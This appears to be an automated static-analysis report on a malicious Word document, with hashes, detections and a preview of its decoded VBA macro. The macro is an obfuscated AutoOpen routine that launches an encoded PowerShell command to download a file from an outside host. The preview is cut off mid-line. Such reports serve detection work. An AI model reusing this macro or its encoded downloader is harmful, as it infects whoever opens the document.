Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 756c7d3ba55d0ae4…

MALICIOUS

Office (OLE)

153.5 KB Created: 2018-04-19 18:59:00 Authoring application: Microsoft Office Word First seen: 2019-01-11
MD5: 32b369d3c16dc73ed26c0aab4238217d SHA-1: 0f04a3e7dab0b1a272507cc375bf822cd8d4ba7a SHA-256: 756c7d3ba55d0ae476c18371d8b15c93f13cc235874967ff73c85050d47b77ea
142 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment

The sample contains a legacy WordBasic AutoOpen macro, which is a strong indicator of malicious intent. This macro is designed to execute obfuscated PowerShell commands, likely to download and execute a second-stage payload. The ClamAV detection further confirms its malicious nature.

Heuristics 5

  • ClamAV: Doc.Malware.Sagent-6697295-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6697295-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 53011 bytes
SHA-256: 56841a1540e9287f1fb67391b0cbb7289adb2733f6e676d27a9f147888de0f32
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const PyJaKUcHobaQyhEXUgOtEtukeNIsapAtuVoiuLaJ = 0
Sub AutoOpen()
On Error Resume Next
Dim nEPeCAgAburoRyHisIFynaxOcYzimaTHe(4)

If 13 = 13 + (8 * 0) Then
nEPeCAgAburoRyHisIFynaxOcYzimaTHe(0) = CLng(510)
End If
nEPeCAgAburoRyHisIFynaxOcYzimaTHe(1) = Sqr(8)
nEPeCAgAburoRyHisIFynaxOcYzimaTHe(2) = Month(510510)
nEPeCAgAburoRyHisIFynaxOcYzimaTHe(3) = Fix(510.8)
GUgIkoNuRAbUCyzIkINVYhifKYYBOxIj = "d." + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "x" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + " /c p^O^w^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^R^s^H^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^L^L^.^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^x^" + Format(Chr(((20 + 5) * 4) + (10 / 10))) + "^ ^-^E^C^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^n^A^G^8^A^c^g^B^s^A^H^g^A^b^w^B^h^A"
Dim foSiWIkKAdaDEXuTylYmUZYquKaVupuPYqoqEdaGO(4)
Dim DyLamEDawQsiXixyXuDODzuREJUDuTIf(4)

If 12 = 12 + (1 * 0) Then
DyLamEDawQsiXixyXuDODzuREJUDuTIf(0) = CLng(9768)
End If
DyLamEDawQsiXixyXuDODzuREJUDuTIf(1) = Sqr(1)
DyLamEDawQsiXixyXuDODzuREJUDuTIf(2) = Month(97689768)
DyLamEDawQsiXixyXuDODzuREJUDuTIf(3) = Fix(9768.1)
Dim zyrAjUQHINoxUTUjYtuoSAkyiYQunYWEDoguMuWa(4)

If 12 = 12 + (7 * 0) Then
zyrAjUQHINoxUTUjYtuoSAkyiYQunYWEDoguMuWa(0) = CLng(2272)
End If
zyrAjUQHINoxUTUjYtuoSAkyiYQunYWEDoguMuWa(1) = Sqr(7)
zyrAjUQHINoxUTUjYtuoSAkyiYQunYWEDoguMuWa(2) = Month(22722272)
zyrAjUQHINoxUTUjYtuoSAkyiYQunYWEDoguMuWa(3) = Fix(2272.7)

Dim WIfOPYPSoqkuOHOaogavvyTIVYf(4)

If 13 = 13 + (9 * 0) Then
WIfOPYPSoqkuOHOaogavvyTIVYf(0) = CLng(1635)
End If
WIfOPYPSoqkuOHOaogavvyTIVYf(1) = Sqr(9)
WIfOPYPSoqkuOHOaogavvyTIVYf(2) = Month(16351635)
WIfOPYPSoqkuOHOaogavvyTIVYf(3) = Fix(1635.9)
If 12 = 12 + (10 * 0) Then
Dim HirabuWeTytyhoMuNITaohaOLUCyB(4)

If 13 = 13 + (4 * 0) Then
HirabuWeTytyhoMuNITaohaOLUCyB(0) = CLng(906)
End If
HirabuWeTytyhoMuNITaohaOLUCyB(1) = Sqr(4)
HirabuWeTytyhoMuNITaohaOLUCyB(2) = Month(906906)
HirabuWeTytyhoMuNITaohaOLUCyB(3) = Fix(906.4)
Dim fUfYRECyMPOJoRTOFMUbuCEHUrEbiKulE(4)

If 12 = 12 + (3 * 0) Then
fUfYRECyMPOJoRTOFMUbuCEHUrEbiKulE(0) = CLng(4537)
End If
fUfYRECyMPOJoRTOFMUbuCEHUrEbiKulE(1) = Sqr(3)
fUfYRECyMPOJoRTOFMUbuCEHUrEbiKulE(2) = Month(45374537)
fUfYRECyMPOJoRTOFMUbuCEHUrEbiKulE(3) = Fix(4537.3)
foSiWIkKAdaDEXuTylYmUZYquKaVupuPYqoqEdaGO(0) = CLng(2604)
End If
foSiWIkKAdaDEXuTylYmUZYquKaVupuPYqoqEdaGO(1) = Sqr(10)
foSiWIkKAdaDEXuTylYmUZYquKaVupuPYqoqEdaGO(2) = Month(26042604)
Dim kuVufAXOGolupegIHUFEQAkoxESUDOKyjUho(4)

If 12 = 12 + (5 * 0) Then
kuVufAXOGolupegIHUFEQAkoxESUDOKyjUho(0) = CLng(995)
End If
kuVufAXOGolupegIHUFEQAkoxESUDOKyjUho(1) = Sqr(5)
kuVufAXOGolupegIHUFEQAkoxESUDOKyjUho(2) = Month(995995)
kuVufAXOGolupegIHUFEQAkoxESUDOKyjUho(3) = Fix(995.5)
Dim veGiGAWOCAfyBujAMokElERYVEmasYp(4)

If 12 = 12 + (6 * 0) Then
veGiGAWOCAfyBujAMokElERYVEmasYp(0) = CLng(2329)
End If
veGiGAWOCAfyBujAMokElERYVEmasYp(1) = Sqr(6)
veGiGAWOCAfyBujAMokElERYVEmasYp(2) = Month(23292329)
veGiGAWOCAfyBujAMokElERYVEmasYp(3) = Fix(2329.6)
foSiWIkKAdaDEXuTylYmUZYquKaVupuPYqoqEdaGO(3) = Fix(2604.1)
Dim bUZaQVeNIzOnEXuLYFyHoDoly(4)

If 13 = 13 + (10 * 0) Then
bUZaQVeNIzOnEXuLYFyHoDoly(0) = CLng(4673)
End If
bUZaQVeNIzOnEXuLYFyHoDoly(1) = Sqr(10)
bUZaQVeNIzOnEXuLYFyHoDoly(2) = Month(46734673)
bUZaQVeNIzOnEXuLYFyHoDoly(3) = Fix(4673.1)
Dim JAaOHuVEkyiEzUZutobiKaiakOReCoPOmexikIQoeTIP(4)

If 12 = 12 + (5 * 0) Then
JAaOHuVEkyiEzUZutobiKaiakOReCoPOmexikIQoeTIP(0) = CLng(2585)
End If
JAaOHuVEkyiEzUZutobiKaiakOReCoPOmexikIQoeTIP(1) = S
... (truncated)